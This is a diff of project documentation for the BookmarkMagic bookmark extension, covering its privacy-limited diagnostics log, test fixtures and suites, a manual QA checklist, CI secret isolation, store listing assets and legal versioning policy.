**Recorded:** import phases — `parsed` (with the detected format and node
|
||||
count), `planned:<mode>`, `backup-proven`, `cleared`, `written`; every failure
|
||||
the UI shows, by its i18n code and the error's class name, logged inside
|
||||
`describeError` — the one place failures are described; bulk edits (`sort`,
|
||||
`keep-first`) with their counts; storage read and decode failures, by a fixed
|
||||
issue name; uncaught errors and unhandled rejections, by error **name**
|
||||
(`installCrashHooks`, in the popup and the Manager).
|
||||
|
||||
**Never recorded:** titles, addresses, file names, folder paths; a failure's
|
||||
`detail` text, which can quote a URL or a line of the file; error messages and
|
||||
stacks; stored values; wall-clock time — entries carry milliseconds since the
|
||||
page loaded.
|
||||
|
||||
- `DiagEvent` is a closed union with no field for a title, an address or a
|
||||
path — adding one is a type change under review, not a call site — and every
|
||||
string field is itself a **union of fixed values**: the import phases,
|
||||
`FileFormat`, the `ErrorKey`s `describeError` can return, the two edit
|
||||
actions, the three storage issues, and an allowlist of error names (anything
|
||||
else is logged as `'other'`, since a name is just a string property). 1.1.0's
|
||||
first cut typed them all `string`; the test file now carries
|
||||
`@ts-expect-error` cases, so a title stops compiling, not just reviewing. The copied report adds only the extension version, the language and
|
||||
theme *preferences*, and Chrome's major version from the user agent.
|
||||
- Never written to `storage`, never sent (the CSP would refuse it anyway,
|
||||
`08 §3`), gone when the tab closes. The log is per page: the popup installs
|
||||
the crash hooks too, but has no Copy button, so nothing can read its log.
|
||||
- `tests/unit/browser/diagnostics.test.ts`: the 200-entry cap and order, the
|
||||
report's exact keys, a failure logged by code with its URL-bearing detail
|
||||
absent, crash hooks by name with the message absent.
|
||||
- `legal/PRIVACY.md` describes the same log to users; the two must agree.
|
||||
@@ -31,6 +31,10 @@ Real-world exports (committed, small, anonymized):
|
||||
chrome-131-export.html edge-export.html firefox-html-export.html
|
||||
safari-export.html vivaldi-export.html
|
||||
bm-v1-sample.json csv-comma.csv csv-semicolon.csv
|
||||
chrome-156-export.html # built to bookmark_html_writer.cc byte for byte (CRLF) (v1.1.0)
|
||||
chrome-156-Bookmarks # the SAME profile as Chrome's JSON file — no extension (v1.1.0)
|
||||
firefox-bookmarks-2026-07-25.json # Firefox backup of firefox-html-export.html's profile,
|
||||
# plus tags root, separator, iconUri, keyword, description, Mobile
|
||||
malformed/no-doctype.html malformed/truncated.html
|
||||
malformed/doctype-only.html # valid doctype, zero <DL> → NO_BOOKMARKS warning
|
||||
malformed/script-injection.html # <script> + onerror payloads (T1)
|
||||
@@ -42,6 +46,10 @@ weird/mixed-wrapper.html # some roots wrapped, some not → root-lis
|
||||
weird/safari-no-wrapper.html # no wrapper <DL> at all → same rule, other branch
|
||||
weird/emoji-rtl-titles.html # 🌸, RTL, CJK titles; & < > " entities
|
||||
weird/microsecond-dates.html # Firefox-style timestamps
|
||||
weird/loose-first.html # loose bookmark before the wrapper list, no </DT> (v1.1.0)
|
||||
weird/unclosed-format-tag.html # unescaped <b> in a title re-opened around every entry (v1.1.0)
|
||||
weird/invalid-urls.html # addresses Chrome rejects, place:, bookmarklet, blank (v1.1.0)
|
||||
weird/bm-legacy-1.0.1-backup.json # a 1.0.x Replace backup, read with root markers (v1.1.0)
|
||||
```
|
||||
|
||||
Generated on demand, never committed: `scripts/gen-fixture.mjs` writes
|
||||
@@ -57,6 +65,12 @@ already covers them, and a second file would only be a second thing to maintain:
|
||||
| `ADD_DATE="0"` → omitted, **no** warning | `chrome-131-export.html` (same suite, asserted explicitly) |
|
||||
| Depth past the cap → `TOO_DEEP` | built synthetically in `parse/netscape-html.test.ts` — cheaper and clearer than committing a 201-level file |
|
||||
|
||||
The two browser JSON fixtures are **pairs**: each describes the same profile
|
||||
as an HTML fixture written by that browser's own exporter, and the parity rule
|
||||
of `04 §2a/§2b` is asserted on them — equal trees and warnings once the JSON's
|
||||
extra knowledge (where Other and Mobile were) is projected away. Neither is a
|
||||
capture from a real profile yet; capturing one is a `15` backlog item.
|
||||
|
||||
**Rule:** every browser-specific parser quirk discovered later gets a fixture
|
||||
+ regression test in the same PR. `CONTRIBUTING.md` documents the full ritual
|
||||
end to end; note `.gitattributes` sets `tests/fixtures/** -text` so EOL
|
||||
@@ -69,16 +83,30 @@ normalization cannot rewrite the CRLF/BOM bytes a bug may depend on.
|
||||
aggregated warning; entity unescaping; injection fixture yields inert text
|
||||
titles (assert no `<` execution possible — title equals literal string);
|
||||
caps: node/depth/size errors with correct codes.
|
||||
- **`serialize/netscape-html.test.ts`** — golden-file comparison; escaping;
|
||||
toolbar attribute placement; 4-space indentation.
|
||||
- **`serialize/netscape-html.test.ts`** — golden-file comparison (4-space
|
||||
indentation, attributes only when present); exactly one root marker per
|
||||
folder, the toolbar winning; markers round-trip through our parser; escaping
|
||||
of the four markup characters and CR. ⚠️ Written in v1.1.0: this bullet
|
||||
described it from Phase 1, but the file did not exist until then.
|
||||
- **`serialize/bm-json.test.ts`** (v1.1.0) — stable field order with the root
|
||||
markers, `root` never beside `toolbar`, compact backup vs indented export,
|
||||
markers round-tripped through the parser.
|
||||
- **Round-trip (the flagship suite):** the assertion is
|
||||
`parse(serialize(tree)).roots deepEquals project(tree, format)` — note
|
||||
`.roots`, since `parse` returns a `ParseResult` (`02 §4`) — plus
|
||||
`warnings.length === 0`, so a parser that silently degrades cannot "pass".
|
||||
Run across all three corpora: sample trees, every parsed browser fixture, and
|
||||
a property-style randomized generator (500 random trees, seeded) with titles
|
||||
from a nasty-string pool (quotes, commas, newlines, emoji, `</a>`, path
|
||||
slashes).
|
||||
a property-style randomized generator (200 random trees per format, seeded)
|
||||
with titles from a nasty-string pool (quotes, commas, newlines, emoji, `</a>`,
|
||||
path slashes).
|
||||
|
||||
⚠️ **Until v1.1.0 the seeded corpus was empty.** `makeRng` seeded xorshift32
|
||||
straight with the integers 1–200, whose first draws are all near zero, so
|
||||
`generateTree` drew a child count of 0 every time and the suite compared 200
|
||||
empty trees. The seed is now scrambled first, and the suite asserts the
|
||||
corpus holds more than 1 000 nodes before it asserts anything else. Any new
|
||||
seeded suite carries the same guard (`merge.test.ts` checks that more than a
|
||||
quarter of its seeds actually reuse a folder).
|
||||
|
||||
`project(tree, format)` is a documented pure helper in the test utils that
|
||||
models each format's declared lossiness. **A strict identity round-trip is
|
||||
@@ -97,58 +125,191 @@ normalization cannot rewrite the CRLF/BOM bytes a bug may depend on.
|
||||
and user-facing (`04 §3`, `06 §3.2`, `13 §3`); the fix is to bend the test to
|
||||
the documented format, never the format to the test.
|
||||
- **`normalize-url.test.ts`** — case, default ports, root-slash, preserved
|
||||
query/hash, invalid-URL passthrough.
|
||||
query/hash, invalid-URL passthrough; since v1.1.0 a bare `?` or `#` keys like
|
||||
the URL without it (`05 §2`).
|
||||
- **`timestamps.test.ts`** — s/ms/µs magnitude table, invalid → undefined.
|
||||
- **`dedupe.test.ts` / `diff.test.ts`** — index building, in-file dupes,
|
||||
`skippedExisting` vs `skippedInFile` kept distinct, folder preservation,
|
||||
merge path-matching. **Replace-mode guard:** a Replace plan built from a file
|
||||
whose URLs all exist in the browser must yield `toCreate === <all file
|
||||
bookmarks>` and `skippedExisting === 0` — otherwise a user re-importing their
|
||||
own backup loses everything (`05 §3`).
|
||||
preview badges.
|
||||
- **`plan.test.ts` / `route.test.ts` / `merge.test.ts` / `caps.test.ts`**
|
||||
(v1.1.0) — root routing and unwrapping; Merge reusing live folders level by
|
||||
level, case-sensitively, never into managed folders; the 200-seed merge
|
||||
properties (`05 §5`); the backup caps. **Replace-mode guard:** a Replace plan
|
||||
never dedupes — not against the browser, not within the file — and plans
|
||||
against emptied roots, otherwise a user re-importing their own backup loses
|
||||
part of it (`03 §1`).
|
||||
- **`import/run-import.test.ts`** (v1.1.0) — the whole pipeline against the
|
||||
in-memory `chrome.bookmarks` (`tests/helpers/fake-bookmarks.ts`, which now
|
||||
rejects unparseable URLs and turns `url: ''` into a folder, as Chrome does):
|
||||
Merge reuses `Bookmarks bar/Dev`; a second Merge with dedupe creates nothing;
|
||||
a Replace restore of its own backup, run twice, gives the original tree with
|
||||
Mobile back in Mobile; a 1.0.x backup restores into the roots; in-file
|
||||
duplicates survive a Replace; the invalid-URL fixture completes; the backup
|
||||
is written before the first removal.
|
||||
- **`import/safety-backup.test.ts`** — the picker/anchor gates, and the three
|
||||
cap breaches (nodes, depth, bytes) where nothing is written, downloaded or
|
||||
confirmed.
|
||||
- **`csv` state machine** — RFC 4180 torture cases: `""` escapes, CRLF inside
|
||||
quotes, delimiter sniffing, BOM tolerance, `\/` path escapes.
|
||||
- **`detect-format.test.ts`** — sniffing matrix incl. wrong extensions.
|
||||
- **`detect-format.test.ts` / `parse-file.test.ts`** — sniffing matrix
|
||||
incl. wrong extensions, the anchored doctype, JSON dialect routing, and
|
||||
`JSON.parse` called exactly once per file.
|
||||
- **`parse/chrome-json.test.ts` / `parse/firefox-json.test.ts`** (v1.1.0) —
|
||||
roots, vendor roots, localized-title fallback, date units, skipped
|
||||
addresses, caps.
|
||||
- **`parse/netscape-tolerance.test.ts`, `parse/bm-json.v11.test.ts`,
|
||||
`parse/csv.v11.test.ts`, `parse/shared.test.ts`, `href.test.ts`** (v1.1.0) —
|
||||
the reader rules of `05 §1`: a list after a loose bookmark, every entry after
|
||||
an unescaped `<b>`, root markers read by value, a list wrapped in a `<div>`,
|
||||
the node cap counted before the DOM is built; addresses Chrome would reject
|
||||
skipped and counted, `place:` kept only in the restore formats; empty titles
|
||||
kept; a 1.0.x backup's roots recognised; a CSV quote left open reported with
|
||||
its line, formula cells neutralised on export and restored on import.
|
||||
|
||||
## 4. Browser-layer tests
|
||||
|
||||
`tests/unit/browser/write-queue.test.ts` with a mock implementing
|
||||
`create/removeTree` + failure injection:
|
||||
|
||||
- Order preservation (DFS, parent-before-child, sibling order).
|
||||
- Progress cadence (every 50 + final).
|
||||
- Order preservation (DFS, parent-before-child, sibling order); a Merge
|
||||
segment writes into the existing folder it names, after what is there.
|
||||
- Progress cadence (the first create, every 50, and the final one), one
|
||||
denominator across segments, the path prefixed with the segment's trail.
|
||||
- Abort mid-tree → `BmAborted` carries exact `done` count; no further calls.
|
||||
- API error on node k → typed failure, k−1 successes reported.
|
||||
- Replace pre-step calls `removeTree` only on root children.
|
||||
|
||||
Also in `tests/unit/browser/` (v1.1.0):
|
||||
|
||||
- **`write-lock.test.ts`** (`03 §5`) — a free lock runs the operation and is
|
||||
requested `{ ifAvailable: true }`; a held lock refuses at once with
|
||||
`WRITE_LOCKED` and never runs it; with no Web Locks API it simply runs.
|
||||
- **`diagnostics.test.ts`** (`09 §7`) — the newest 200 kept, oldest first, with
|
||||
page-relative times; the report's exact keys; a described failure logged by
|
||||
code with its URL-bearing detail absent; crash hooks record names only, and
|
||||
stop after teardown.
|
||||
|
||||
### #edit logic, stores, styles and scripts
|
||||
|
||||
The components have no test framework (§1), so everything that can move out of
|
||||
them is tested where it lives:
|
||||
|
||||
- **`stores/edit-session.test.ts`** (v1.1.0) — the #edit commands (`03 §3`)
|
||||
against the in-memory fake, which now models Chrome's `move` (the same-parent
|
||||
index rule), `update` and `remove` (refusing a non-empty folder): a re-read
|
||||
keeps expansion and focus; Sort plans, then puts the folder in order,
|
||||
declines a sorted folder, and on a refusal part-way reports `done`/`total`
|
||||
and re-reads; a drag reorders by Chrome's index rule; a rename is trimmed and
|
||||
a blank or unchanged one makes no call; focus moves to the next row after a
|
||||
delete; a new folder clears a search that would hide it; duplicates are
|
||||
scanned only while shown.
|
||||
- **`edit/sort.test.ts`** (v1.1.0) — folders first, natural order, case and
|
||||
accents ignored, ties stable, untitled bookmarks by address; only
|
||||
out-of-place children move; 300 seeded random folders end sorted when the
|
||||
moves are applied with Chrome's index rule (`05 §10`).
|
||||
- **`edit/move-target.test.ts`** — since v1.1.0 also `planDrop`: both index
|
||||
spaces, across folders, into a bookmark, beside itself, beside a root.
|
||||
- **`edit/live-sync.test.ts`** (v1.1.0) — with a hand-fired scheduler: one
|
||||
batch per frame, a burst past the limit becomes one re-read and no patch,
|
||||
`resync`, `dispose` (`05 §11`).
|
||||
- **`stores/toast.test.ts`** — since v1.1.0 also: a danger toast never
|
||||
auto-dismisses, and the queue moves on once it is dismissed.
|
||||
- **`styles/contrast.test.ts`** (widened in v1.1.0 to four surfaces and the
|
||||
3:1 boundary pairs) and **`styles/motion.test.ts`** (v1.1.0) — the token
|
||||
contrast pairs (`06 §1`) and the reduced-motion guard (`06 §5`), both parsed
|
||||
from the real stylesheets, so a new component cannot opt out by forgetting.
|
||||
`motion.test.ts` first checks that it found more than 20 styled files to
|
||||
police.
|
||||
- **`tests/unit/scripts/`** — the repo's own gates, tested like code. New in
|
||||
v1.1.0: `guard.test.ts` (`08 §3`), `check-manifest.test.ts` (a correct build
|
||||
passes, one without the CSP fails) and `sanitize-formats.test.ts` (the
|
||||
browser JSON formats and the audit's HTML leaks, beside the older
|
||||
`sanitize-bookmarks.test.ts` — `09 §6`).
|
||||
|
||||
## 5. Manual QA checklist (run before every store submission)
|
||||
|
||||
**A visual sweep first, without loading the extension** (since v1.1.0).
|
||||
`scripts/screenshots.mjs` serves the **built** extension — `npm run build`
|
||||
first — on `http://localhost:4318` with a fake `chrome`: neutral sample
|
||||
bookmarks, so no real profile ever appears, and in-memory storage. Every HTML
|
||||
page is served with the production CSP as a `<meta>`, so a violation shows in
|
||||
the console exactly as it would in the extension. Pages take
|
||||
`?theme=light|dark&lang=en|vi|ja&legal=0|1` and the route as the hash —
|
||||
`manager.html?theme=dark&lang=vi#edit`; `legal=0` shows the gate. `--shoot`
|
||||
photographs every route × theme × language at 1280×800 with a local headless
|
||||
Chrome (`CHROME_PATH`, or the usual install paths), plus the store set
|
||||
(`13 §2`). Use it to sweep layout, translation overflow and both themes in
|
||||
minutes. It is **not** the pass below: each page has its own fake tree and
|
||||
storage, nothing written survives a reload, and the popup's tiles open nothing.
|
||||
|
||||
**Fresh profile, Load unpacked:**
|
||||
- [ ] Legal Gate appears once; declines block #import/#export/#edit; accept
|
||||
persists across restart; **#settings and #about reachable pre-accept**
|
||||
(switch language before accepting and confirm the gate re-renders in it).
|
||||
- [ ] Import each browser fixture via drag-drop *and* picker; preview stats
|
||||
sane; default mode creates `Imported <date>` folder correctly.
|
||||
- [ ] Merge mode reuses existing same-path folders; Replace forces the backup
|
||||
and blocks deletion until it is confirmed (cancel the save dialog → the
|
||||
import must abort with nothing deleted); then result matches the file,
|
||||
with toolbar entries landing in the Bookmarks Bar.
|
||||
- [ ] **Chrome's `Bookmarks` file** — a copy of a real profile's, or
|
||||
`tests/fixtures/chrome-156-Bookmarks`. The picker lists it although it
|
||||
has no extension; the preview names the format "Chrome Bookmarks file"
|
||||
and marks the bar/Other/Mobile folders with their `→` pills; a Merge puts
|
||||
their contents back into the real roots, not into folders named after
|
||||
them.
|
||||
- [ ] **A Firefox JSON backup** (`bookmarks-YYYY-MM-DD.json`, or
|
||||
`tests/fixtures/firefox-bookmarks-2026-07-25.json`): format pill "Firefox
|
||||
backup"; in new-folder mode its roots arrive under localized names (check
|
||||
VI and JA too); `place:` smart bookmarks are skipped and counted.
|
||||
- [ ] **Merge reuses folders:** import a file holding `Bookmarks bar/Dev/…`
|
||||
into a profile that already has `Dev` — no second `Dev`; the new items
|
||||
land at the end of the existing one, and the report says how many
|
||||
folders were reused. Import it again with dedupe on → nothing created.
|
||||
- [ ] **Replace:** the confirmation states how many bookmarks and folders will
|
||||
be deleted and written — check both against the profile and the preview
|
||||
(Cancel is focused; Enter must not confirm). Cancel the save dialog → the
|
||||
import aborts with nothing deleted. Then a real Replace: the result
|
||||
matches the file, toolbar entries in the Bookmarks Bar. Then restore the
|
||||
safety backup with Replace **twice in a row**: the original tree both
|
||||
times, Other and Mobile contents back in their own roots, never nested
|
||||
one level deeper.
|
||||
- [ ] Dedupe toggle: re-import same file → all skipped. With **Replace**
|
||||
selected the checkbox is disabled and unchecked; re-importing your own
|
||||
backup restores everything.
|
||||
- [ ] 10k-node generated file: UI stays responsive, progress moves, Cancel
|
||||
stops within ~1s, report counts correct.
|
||||
backup restores everything, duplicate links included.
|
||||
- [ ] 10k-node generated file: UI stays responsive, progress moves from the
|
||||
first create, Cancel stops within ~1s, report counts correct.
|
||||
- [ ] Export all 4 formats; re-import HTML/JSON → tree equivalent; re-import
|
||||
CSV → equivalent **modulo the documented CSV losses** (`04 §3`: empty
|
||||
folders gone, top-level "Bookmarks bar" arrives as an ordinary folder,
|
||||
no `lastModified`); Excel opens CSV (BOM ✔); filenames correct.
|
||||
- [ ] Edit: rename (F2), delete w/ descendant count, new folder, drag-drop
|
||||
reorder + reparent, Move-to menu, search expands ancestors, duplicate
|
||||
panel bulk-keep-first.
|
||||
- [ ] Keyboard-only pass of the tree (WAI-ARIA pattern) + dialogs.
|
||||
- [ ] Edit: rename (F2; Esc cancels, leaving the field commits), delete w/
|
||||
descendant count (focus moves to the next row), new folder (also with a
|
||||
search active), search expands ancestors, duplicate panel shows each
|
||||
copy's folder, bulk-keep-first.
|
||||
- [ ] **Sort A→Z** on a mixed folder: folders first, then "Item 2" before
|
||||
"Item 10", case ignored; the confirmation states how many items move; an
|
||||
already sorted folder says so instead of asking. From the toolbar with a
|
||||
bookmark focused it sorts that bookmark's folder.
|
||||
- [ ] **Drag to reorder:** the upper edge of a row drops before it, the lower
|
||||
edge after it (a line shows where), the middle of a folder inside it (a
|
||||
dashed outline). Dropping beside itself or into its own subfolder does
|
||||
nothing; Esc mid-drag leaves no row highlighted.
|
||||
- [ ] Keyboard-only pass: Tab reaches the tree in one stop (row buttons are not
|
||||
tab stops); arrows, Home/End, type-ahead, Enter, F2, Del. The menu key
|
||||
**and** Shift+F10 open **Move to…** with focus in its filter — type to
|
||||
narrow, Tab to a folder, Enter moves the item there; Esc closes it and
|
||||
focus returns to the tree. Ctrl+C copies the focused link. Every dialog
|
||||
opens with focus inside and returns it on close.
|
||||
- [ ] Language switch EN→VI→JA live-updates all tabs; dates/numbers
|
||||
localized; restart persists. Header switcher and the `#settings` row
|
||||
agree at all times (one state, two views).
|
||||
- [ ] Theme: system/light/dark; contrast spot-check.
|
||||
- [ ] Theme: system/light/dark. In **both** light and dark, read text on every
|
||||
surface — page, panels, inputs and the status bar, a selected row or
|
||||
card — and check the focus ring, control borders and disabled controls
|
||||
(readable, not faded). `contrast.test.ts` checks tokens only; an
|
||||
`opacity` on text or a hardcoded colour shows up only here.
|
||||
- [ ] **Reduced motion** (DevTools → Rendering → `prefers-reduced-motion:
|
||||
reduce`, or the OS setting): nothing moves — no sliding tab indicator,
|
||||
toast slide, dialog rise, marching ants, travelling progress stripes,
|
||||
icon bob/spin/tilt/draw/pulse — yet an open folder's chevron still turns.
|
||||
Back to no preference: the motion returns.
|
||||
- [ ] Settings auto-save: change a value, close the tab immediately, reopen —
|
||||
the value stuck. The "Saved" toast appears only *after* the write
|
||||
confirms, and a failure says so instead.
|
||||
@@ -158,6 +319,19 @@ normalization cannot rewrite the CRLF/BOM bytes a bug may depend on.
|
||||
other, and accepting the gate in one drops the gate in the other. Also:
|
||||
clearing storage in one must **not** re-raise the gate in the other —
|
||||
acceptance is adopted in one direction only, by design (`03 §4`).
|
||||
- [ ] **Two Manager tabs, one writer** (`03 §5`): start a Replace or a large
|
||||
import in one; while it writes, try an import, Sort A→Z and "keep first"
|
||||
in the other — each is refused at once ("Another BookmarkMagic tab is
|
||||
writing…") and nothing changes. The second tab's #edit keeps up with the
|
||||
import without freezing (events land once per frame, `05 §11`); once the
|
||||
first finishes, both work normally.
|
||||
- [ ] **Popup with a Manager tab already open** on another route: Import,
|
||||
Export and Open manager each switch that tab to their route; while it is
|
||||
writing, the tab stays put and shows the busy toast. The popup's counts
|
||||
leave out the three roots — an empty profile reads 0 and 0.
|
||||
- [ ] About → **Copy diagnostics** after a failed import: the pasted log holds
|
||||
phases, error codes and counts — no title, address or file name
|
||||
(`09 §7`).
|
||||
- [ ] Browser **Back** during a write: stays on `#import`, progress and Cancel
|
||||
remain reachable, and a "busy" toast explains the refusal.
|
||||
- [ ] Browser **Back** while the backup attestation is on screen: same. This is
|
||||
|
||||
@@ -48,7 +48,11 @@ Common to every job since v1.1.0:
|
||||
- `npm ci --ignore-scripts`, then `npx --no-install wxt prepare`. No dependency
|
||||
gets to run code at install time (SonarCloud S6505); our own `postinstall` is
|
||||
the one script we need, so it runs explicitly, from the local binary, never
|
||||
fetched. A local `npm ci` still runs `postinstall` normally.
|
||||
fetched. A local `npm ci` still runs `postinstall` normally. **One exception
|
||||
we do not control:** the `build` job delegates to the ops reusable, which runs
|
||||
a plain `npm ci`, so install scripts do run there. That job holds a read-only
|
||||
token and no secrets; an ops-repo input to skip install scripts is on the
|
||||
`15` backlog.
|
||||
- Reusable workflows get **named** secrets, never `secrets: inherit`: they are
|
||||
pinned to the ops repo's moving `main`, so each one receives only what it
|
||||
declares.
|
||||
@@ -182,14 +186,22 @@ Added 2026-10-28, replacing SonarCloud's Automatic Analysis so the project gets
|
||||
- **A separate workflow, not a job in `ci.yml`:** a Sonar outage or a
|
||||
quality-gate opinion must never turn CI red. The verdict reaches PRs as the
|
||||
SonarCloud GitHub App's own check. It is not a required check.
|
||||
- Steps: full-history checkout (`fetch-depth: 0`, for new-code detection), the
|
||||
common install, `npm run coverage` (which writes `coverage/lcov.info`), then the
|
||||
scan with `-Dsonar.projectVersion=<package.json version>`, so "new code" means
|
||||
"since the last release".
|
||||
- **Two jobs, so the token never shares a runner with dependency code.** A
|
||||
job's secrets are loaded into its runner for the whole job, and any step can
|
||||
read them from the runner process whatever its own `env:` says (the shape of
|
||||
the March 2025 tj-actions compromise). `coverage` does the common install and
|
||||
`npm run coverage` with **no secret**, and uploads `coverage/lcov.info` and
|
||||
the generated `.wxt/` (which `tsconfig.json` extends, and which defines the
|
||||
`@/` alias) as a one-day artifact; `scan` installs nothing — full-history checkout
|
||||
(`fetch-depth: 0`, for new-code detection), the artifact, then the scan with
|
||||
`-Dsonar.projectVersion=<package.json version>`, so "new code" means "since
|
||||
the last release".
|
||||
- The price of that isolation: the scan job has no `node_modules`, so Sonar's
|
||||
type-aware rules resolve our own modules (through `.wxt/`) but not the
|
||||
dependencies' types.
|
||||
- The scan action is **pinned to a commit** (`v8.3.0`): it is the step that
|
||||
holds `SONAR_TOKEN`, and the token is scoped to the two steps that need it.
|
||||
Dependabot and fork PRs get no repository secrets, so the scan is skipped with
|
||||
a notice instead of failing.
|
||||
holds `SONAR_TOKEN`. Dependabot and fork PRs get no repository secrets, so the
|
||||
scan is skipped with a notice instead of failing.
|
||||
- Coverage: `vitest.config.ts` measures every `src/**/*.ts` module and reports
|
||||
`text` + `lcov`; the CI *gate* is still the core-only glob threshold of
|
||||
`11 §1`. `sonar.coverage.exclusions` drops components, entrypoints and
|
||||
|
||||
@@ -84,71 +84,54 @@ matters more than any other single check here.
|
||||
| Asset | Spec |
|
||||
|---|---|
|
||||
| Icon | 128×128 PNG (also 16/32/48 in-package). Flat glyph: bookmark + swap arrows, violet `#6d4aff` on transparent. Generated by `scripts/gen-icons.mjs`, which is the source of truth (`00 §10.3`). |
|
||||
| Screenshots ×5 | 1280×800 PNG, real UI, EN locale, light theme: 1) Import preview+stats 2) Merge options+progress 3) Export format cards 4) Edit tree + duplicate panel 5) Dark theme overview |
|
||||
| Screenshots | 1280×800 PNG, real UI, EN locale. Since v1.1.0 generated, not hand-made: `npm run build && node scripts/screenshots.mjs --shoot` writes the store set — `#import`, `#edit`, `#export` — to `store/screenshots/`. |
|
||||
| Small promo tile | 440×280 (required by the dashboard) |
|
||||
| Marquee (optional) | 1400×560 — skipped |
|
||||
|
||||
⚠️ **Unreconciled.** The listing is live, so the dashboard has whatever was
|
||||
actually uploaded — but the repo does not, and nothing records where the
|
||||
originals live. Anything here beyond the icon is currently unverifiable from the
|
||||
repo. Owner: record the location, or correct this table to match what the
|
||||
dashboard really required. Regenerating screenshots is required whenever the UI
|
||||
changes (`08 §8`), which is impossible to do reliably from assets nobody can find.
|
||||
**Screenshots come from the harness** (`scripts/screenshots.mjs`, `11 §5`). It
|
||||
photographs the built extension over a fake `chrome` with neutral sample
|
||||
bookmarks, so no real profile can appear in a store image, and one command
|
||||
reproduces the set after any UI change (`08 §8`). Each route is captured as it
|
||||
first renders — the import shot is the drop zone (no file is loaded), the edit
|
||||
shot the tree with the duplicate panel closed. That is narrower than the five
|
||||
subjects first planned (import preview + stats, Merge options + progress,
|
||||
export format cards, edit tree + duplicate panel, dark overview); a preview, a
|
||||
running import or an open panel still needs a hand-staged capture.
|
||||
|
||||
⚠️ Human, with the v1.1.0 submission: the redesign changed every surface, so
|
||||
images of the 1.0 UI no longer show the product (`08 §6`). Upload the
|
||||
regenerated set in the dashboard alongside the package (§1b step 6).
|
||||
|
||||
⚠️ **The submitted v1.0 assets are unreconciled.** The listing is live, so the
|
||||
dashboard has whatever was actually uploaded — but the repo does not, and
|
||||
nothing records where those originals live. The screenshots are now
|
||||
reproducible; the 440×280 promo tile still is not — nothing generates it.
|
||||
Owner: record where the submitted assets live, or correct this table to match
|
||||
what the dashboard really required.
|
||||
|
||||
### README screenshots (not store assets — do not confuse them)
|
||||
|
||||
`capture/` holds five PNGs at 2512×1440 / 2560×1440 used by `README.md`. They
|
||||
are the wrong dimensions for the store and cover only four of the five required
|
||||
subjects. `capture/Edit.png` is committed but unreferenced.
|
||||
`capture/` holds the README set — `import`, `export`, `edit`, `settings`,
|
||||
`about` (light, English, 1280×800) and `popup` (360×420) — regenerated for
|
||||
1.1.0 by `node scripts/screenshots.mjs --shoot` from neutral sample data. The
|
||||
1.0.0 shots (2512×1440, a real profile) are gone. `store/screenshots/` holds
|
||||
the dark 1280×800 store candidates (`edit`, `export`, `import`); which of them
|
||||
to upload, alongside or instead of what the listing has now, is the owner's
|
||||
call (⚠️ `13 §1b`).
|
||||
|
||||
## 3. Store listing — EN (canonical)
|
||||
|
||||
**Name:** `BookmarkMagic` ✔ (final — `00 §9`)
|
||||
**The listing copy lives in `store/listing.{en,vi,ja}.md`** — name, summary,
|
||||
description, category and the privacy-policy URL, exactly as pasted into the
|
||||
dashboard. This section used to carry a second copy of the English text, and
|
||||
for v1.1.0 the two had already diverged (the store files gained the Chrome and
|
||||
Firefox imports, Merge reuse, the Replace confirmation and Sort A→Z; the copy
|
||||
here still described v1.0). A copy in two places is a copy that drifts.
|
||||
|
||||
**Summary (≤132 chars):**
|
||||
`Import, export & edit bookmarks between browsers — offline, no account, no cloud. Your data never leaves your device.`
|
||||
|
||||
**Description:**
|
||||
|
||||
```
|
||||
Move your bookmarks between browsers the simple way: with a file. No account.
|
||||
No cloud sync. 100% offline.
|
||||
|
||||
WHAT IT DOES
|
||||
• Import bookmark files (HTML, JSON, CSV) with a full preview before anything
|
||||
is written — see counts, folders, and duplicates first.
|
||||
• Choose how to import: into a new dated folder (safe default), merge into
|
||||
your existing folders, or replace everything (with an automatic safety
|
||||
backup downloaded first).
|
||||
• Skip duplicates automatically.
|
||||
• Export everything — or just the folders you pick — to HTML (works with
|
||||
Chrome, Edge, Brave, Firefox, Safari, Vivaldi, Opera), JSON, CSV, or
|
||||
Markdown.
|
||||
• Edit your bookmark tree: search, rename, drag & drop, create folders,
|
||||
delete, and find duplicate links.
|
||||
|
||||
PRIVACY BY DESIGN
|
||||
• Works entirely on your device. No servers, no analytics, no tracking.
|
||||
• Only two permissions: "bookmarks" (the whole point) and "storage" (your
|
||||
settings). Nothing else.
|
||||
• Free & open source (GPL-3.0) — read the code on GitHub.
|
||||
|
||||
LANGUAGES
|
||||
English · Tiếng Việt · 日本語
|
||||
|
||||
LIMITATIONS (HONESTY CORNER)
|
||||
• Favicons can't be imported — the extensions API for bookmarks has no
|
||||
favicon field.
|
||||
• Imported bookmarks get today's date — Chrome doesn't let extensions set a
|
||||
bookmark's original creation date. Your exported files keep the real dates.
|
||||
• CSV is a flattened view: empty folders and "which folder is the toolbar"
|
||||
aren't preserved. Use HTML or JSON for a faithful backup.
|
||||
|
||||
Source code, issue tracker & privacy policy:
|
||||
https://github.com/poli0981/bookmarkmagic
|
||||
```
|
||||
|
||||
**Category:** Productivity → Tools · **Language:** English + VI/JA localized.
|
||||
When the description changes: edit all three `store/listing.*.md` in the same
|
||||
pull request as the feature, keep claims to what the CHANGELOG says shipped,
|
||||
and paste them into the dashboard as part of `§1b`. The summary must stay ≤132
|
||||
characters in every language.
|
||||
|
||||
## 4. Localized listing snippets
|
||||
|
||||
|
||||
@@ -60,6 +60,7 @@ without shipping a bug. So the bump is a decision, never a side effect:
|
||||
| A new obligation, permission, or data flow — anything a user could reasonably object to | **Yes.** Bump, and say so in the CHANGELOG, so the reappearing gate is explicable rather than alarming. |
|
||||
| Wording that narrows or clarifies something already true | No. Record the reasoning in the `15` decision log so the judgement stays auditable. |
|
||||
| Typos, formatting, dead links | No. |
|
||||
| Contact details — a new address, a different alias for a purpose | No. It changes how to reach us, not what anyone agreed to. Log it in `15`. |
|
||||
|
||||
Procedure for a bump: edit `legal/*.md` → bump `LEGAL_VERSION` → update the CWS
|
||||
Privacy tab if the privacy text changed at all (`08 §5`, `09 §4`; a privacy-tab
|
||||
@@ -74,6 +75,27 @@ Deliberately **not** a bump: it describes what happens to data a user chooses to
|
||||
send us, which was never inside "what the Extension collects", and re-gating
|
||||
every installed user over a clarification is the worse of the two outcomes.
|
||||
|
||||
**Precedent (2026-10-29, v1.1.0):** all four documents gained a version/date
|
||||
header ("Terms version 1 · Effective 2026-07-26 · Last updated …"), a copyright
|
||||
line, and per-purpose contact aliases (`legal@`, `dmca@`, `privacy@`,
|
||||
`takedown@`, `copyright@`; `contact@` retired). EULA clause 3 — worded as an
|
||||
obligation, which a GPL program cannot impose (§10) — became a note.
|
||||
